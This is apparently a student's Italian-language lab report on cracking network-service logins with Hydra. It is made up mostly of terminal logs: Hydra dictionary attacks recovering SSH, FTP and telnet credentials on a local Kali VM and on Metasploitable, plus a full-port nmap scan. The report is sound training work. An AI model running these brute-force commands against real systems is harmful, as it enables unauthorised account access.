Consegna S6-L4

Authentication cracking con Hydra

Traccia

L’esercizio di oggi ha un duplice scopo:

-Fare pratica con Hydra per craccare l’autenticazione dei servizi di rete.

-Consolidare le conoscenze dei servizi stessi tramite la loro configurazione.

Ricordate che la configurazione dei servizi è essa stessa parte dell’esercizio.

L’esercizio si svilupperà in due fasi:

-Una prima fase dove insieme vedremo l’abilitazione di un servizio SSH e la relativa sessione di cracking dell’autenticazione con Hydra.-

Una seconda fase dove sarete liberi di configurare e craccare un qualsiasi servizio di rete tra quelli disponibili, ad esempio ftp, rdp, telnet, autenticazione HTTP.

Configurazione e cracking con Hydra

Cracking ssh di kali

```
┌──(kali㉿kali)-[~]
└─$ ssh test_user@10.0.2.15
The authenticity of host '10.0.2.15 (10.0.2.15)' can't be established.
ED25519 key fingerprint is SHA256:7ln0ojZTbJbt0YGKfGe0NlSEG2st8YWcjD6O/iobnn0.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? y
Please type 'yes', 'no' or the fingerprint: yes
Warning: Permanently added '10.0.2.15' (ED25519) to the list of known hosts.
test_user@10.0.2.15's password:
Linux kali 6.5.0-kali3-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.5.6-1kali1 (2023-10-09) x86
_64

The programs included with the Kali GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Kali GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
┌──(test_user㉿kali)-[~]
└─$ exit
logout
Connection to 10.0.2.15 closed.

┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P /usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt 10.0.2.
15 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 11:14:27
[DATA] max 4 tasks per 1 server, overall 4 tasks, 1000000 login tries (l:1/p:1000000), ~250000 tries per
task
[DATA] attacking ssh://10.0.2.15:22/
^Z
zsh: suspended  hydra -l test_user -P  10.0.2.15 -t4 ssh

┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P /usr/share/seclists/Passwords/500-worst-passwords.txt 10.0.2.15 -t4 ssh
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 11:15:13
[DATA] max 4 tasks per 1 server, overall 4 tasks, 500 login tries (l:1/p:500), ~125 tries per task
[DATA] attacking ssh://10.0.2.15:22/
[22][ssh] host: 10.0.2.15   login: test_user   password: testpass
```

Crackin ftp di kali

```
File  Actions  Edit  View  Help
┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd
[sudo] password for kali:
Usage: /etc/init.d/vsftpd {start|stop|restart|reload|status}

┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd start

┌──(kali㉿kali)-[~]
└─$ sudo service vsftpd status
● vsftpd.service - vsftpd FTP server
     Loaded: loaded (/usr/lib/systemd/system/vsftpd.service; disabled; preset: disabled)
     Active: active (running) since Thu 2024-01-11 12:02:38 CET; 6s ago
    Process: 38227 ExecStartPre=/bin/mkdir -p /var/run/vsftpd/empty (code=exited, status=0/SUCCESS)
   Main PID: 38229 (vsftpd)
      Tasks: 1 (limit: 2259)
     Memory: 1.0M (peak: 1.6M)
        CPU: 13ms
     CGroup: /system.slice/vsftpd.service
             └─38229 /usr/sbin/vsftpd /etc/vsftpd.conf

Jan 11 12:02:38 kali systemd[1]: Starting vsftpd.service - vsftpd FTP server ...
Jan 11 12:02:38 kali systemd[1]: Started vsftpd.service - vsftpd FTP server.

┌──(kali㉿kali)-[~]
└─$ hydra -l test_user -P /usr/share/seclists/Passwords/500-worst-passwords.txt 10.0.2.15 -t4 ftp
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
 organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 12:03:03
[WARNING] Restorefile (you have 10 seconds to abort ... (use option -I to skip waiting)) from a previous
session found, to prevent overwriting, ./hydra.restore
[DATA] max 4 tasks per 1 server, overall 4 tasks, 500 login tries (l:1/p:500), ~125 tries per task
[DATA] attacking ftp://10.0.2.15:21/
[21][ftp] host: 10.0.2.15   login: test_user   password: testpass
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 12:03:24

┌──(kali㉿kali)-[~]
└─$
```

Attacco ai servizi di mestasploitable

File Actions Edit View Help

```
zsh: suspended  hydra -l msfadmin -P /usr/share/seclists/Passwords/500-worst-passwords.txt

┌──(kali㉿kali)-[~]
└─$ hydra -l msfadmin -P /usr/share/seclists/Passwords/500-worst-passwords.txt 192.168.50.101 -t4 telnet
-V
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service
organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-01-11 12:34:50
[WARNING] telnet is by its nature unreliable to analyze, if possible better choose FTP, SSH, etc. if avai
lable
[DATA] max 4 tasks per 1 server, overall 4 tasks, 501 login tries (l:1/p:501), ~126 tries per task
[DATA] attacking telnet://192.168.50.101:23/
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "123456" - 1 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "password" - 2 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345678" - 3 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "1234" - 4 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "pussy" - 5 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "12345" - 6 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "dragon" - 7 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "qwerty" - 8 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "696969" - 9 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "testpass" - 10 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "mustang" - 11 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "letmein" - 12 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "baseball" - 13 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "master" - 14 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "michael" - 15 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "football" - 16 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "shadow" - 17 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "monkey" - 18 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "abc123" - 19 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "pass" - 20 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "fuckme" - 21 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "6969" - 22 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "jordan" - 23 of 501 [child 2] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "harley" - 24 of 501 [child 0] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "msfadmin" - 25 of 501 [child 3] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "ranger" - 26 of 501 [child 1] (0/0)
[ATTEMPT] target 192.168.50.101 - login "msfadmin" - pass "iwantu" - 27 of 501 [child 2] (0/0)
[23][telnet] host: 192.168.50.101   login: msfadmin   password: msfadmin
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2024-01-11 12:35:25

┌──(kali㉿kali)-[~]
└─$ 
```

File Actions Edit View Help

```
                _                  _       _ _        _     _      ____  
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \ 
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ 
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|                                          


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


metasploitable login: msfadmin
Password:
Last login: Thu Jan 11 06:30:29 EST 2024 on pts/2
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$ ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:ca:e2:7f
          inet addr:192.168.50.101  Bcast:192.168.50.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:feca:e27f/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:68315 errors:0 dropped:0 overruns:0 frame:0
          TX packets:68131 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:5321578 (5.0 MB)  TX bytes:3769486 (3.5 MB)
          Base address:0xd020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:273 errors:0 dropped:0 overruns:0 frame:0
```

Spiegazione

Ho fatto prima una scansione nmap per vedere i servizi attivi su meta. Successivamente con hydra ho fatto un cracking tramite il servizio telnet e ho recuperato le credenziali di meta. In questo modo ho potuto utilizzare il terminale di meta direttamente da kali.

```
┌──(kali㉿kali)-[~]
└─$ nmap -sV -p- 192.168.50.101
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-11 12:23 CET
mass_dns: warning: Unable to determine any DNS servers. Reverse DNS is disabled. Try using --system-dns
or specify valid servers with --dns-servers
Nmap scan report for 192.168.50.101
Host is up (0.0012s latency).
Not shown: 65505 closed tcp ports (conn-refused)
PORT      STATE    SERVICE     VERSION
21/tcp    open     ftp         vsftpd 2.3.4
22/tcp    open     ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp    open     telnet      Linux telnetd
25/tcp    open     smtp        Postfix smtpd
53/tcp    open     domain      ISC BIND 9.4.2
80/tcp    open     http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp   open     rpcbind     2 (RPC #100000)
139/tcp   open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp   open     netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp   open     exec        netkit-rsh rexecd
513/tcp   open     login?
514/tcp   open     shell       Netkit rshd
1099/tcp  open     java-rmi    GNU Classpath grmiregistry
1524/tcp  filtered ingreslock
2049/tcp  open     nfs         2-4 (RPC #100003)
2121/tcp  open     ftp         ProFTPD 1.3.1
3306/tcp  open     mysql       MySQL 5.0.51a-3ubuntu5
3632/tcp  open     distccd     distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
5432/tcp  open     postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp  open     vnc         VNC (protocol 3.3)
6000/tcp  open     X11         (access denied)
6667/tcp  open     irc         UnrealIRCd
6697/tcp  open     irc         UnrealIRCd (Admin email admin@Metasploitable.LAN)
8009/tcp  open     ajp13       Apache Jserv (Protocol v1.3)
8180/tcp  open     http        Apache Tomcat/Coyote JSP engine 1.1
8787/tcp  open     drb         Ruby DRb RMI (Ruby 1.8; path /usr/lib/ruby/1.8/drb)
39774/tcp open     mountd      1-3 (RPC #100005)
47328/tcp open     java-rmi    GNU Classpath grmiregistry
54659/tcp open     status      1 (RPC #100024)
54686/tcp open     nlockmgr    1-4 (RPC #100021)
Service Info: Hosts:  metasploitable.localdomain, irc.Metasploitable.LAN; OSs: Unix, Linux; CPE: cpe:/o:
linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 152.10 seconds

┌──(kali㉿kali)-[~]
```

AMEDEO NATALIZI